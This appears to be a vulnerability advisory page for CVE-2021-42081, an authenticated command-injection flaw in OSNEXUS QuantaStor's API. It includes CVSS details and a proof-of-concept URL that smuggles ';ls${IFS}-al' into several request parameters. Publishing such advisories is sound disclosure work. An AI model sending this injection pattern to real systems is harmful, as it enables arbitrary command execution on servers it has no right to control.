CVE-2021-42081 CRITICAL

CVE-2021-42081: Authenticated Remote Command Execution vulnerability in OSNEXUS QuantaStor before 6.0.0.355

Vendor Osnexus
Product QuantaStor
Weakness CWE-78
Published July 10, 2023
Last update September 22, 2025
View on NVD All CVEs

CVSS base score

9.1/10
Attack vector Network
Attack complexity Low
Privileges required High
User interaction None
Confidentiality High
Integrity High

CVSS vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

What the vulnerability does

01Description

An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al

Key dates

02Disclosure timeline

July 10, 2023 CVE published
September 22, 2025 Record updated